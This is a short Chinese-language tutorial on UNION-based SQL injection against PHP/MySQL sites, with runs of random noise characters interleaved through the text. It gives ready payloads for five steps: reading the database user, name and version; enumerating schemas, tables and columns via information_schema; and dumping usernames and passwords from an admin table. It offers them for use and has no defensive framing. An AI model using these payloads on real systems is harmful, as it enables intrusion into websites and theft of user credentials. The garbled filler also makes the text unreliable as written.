& _6 K8 D8 g" S" `: ~
教程内容:Mysql 5+php 注入
: u4 A! i4 \; m$ C6 b. [4 d; ^6 u* D Q5 t0 C" _' {9 C, A
6 s, R% d6 R/ ], h, b2 o4 c
+ j: W7 m4 a" H* W1 r. [2 x1 p一.查看MYSQL基本信息(库名,版本,用户)
# R; c: b' G. j1 c% c" s5 x4 i( G
$ T( }" B- V9 i6 E, dand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
8 X6 k+ N; u9 x: U/ \; w( \8 y7 i% \
二.查数据库6 x5 [6 _' d3 s& l1 z" ]+ n3 f0 s- ^
6 `' ~1 O' ^( I; j4 e6 s: zand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*- e2 _+ G |) Z0 L" j& s4 n
limit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。6 @" W1 x! Z9 q& l5 F! m
( `# C7 }9 \! F+ F8 R5 x& _+ V( R" |' S( s三.暴表# ^5 D6 m9 F; j
! Z! E. _' B) c; M5 p
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*0 u( G" w1 g" p" q4 G$ y0 R
0 W4 A$ t" U9 M# C; K
limit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。
0 _& J+ z( e1 L9 r, @+ Z I' T ?
: U) o: p7 w+ j/ ]9 x四.暴字段
2 R7 s F7 Q& z
: Z- n( s4 d0 f9 K+ q* land 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
( j9 ?. f$ R7 z8 o. k' c& C; c) a: ]8 H6 W3 Q
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
3 x' d( I8 B0 s( Y8 v \. c2 \8 ^5 M5 h: _5 [5 X j0 `
五.暴数据- ?/ V5 @1 {" X- K: T
7 L2 ~' i# N7 Gand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*' h* _: p4 O5 e) E# @9 X! m( t) ?
" v6 o2 E0 M# g* B, y% n6 v9 ?- r: l% q4 I$ k
这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。
1 X& B7 t" S3 s# I# k8 _ |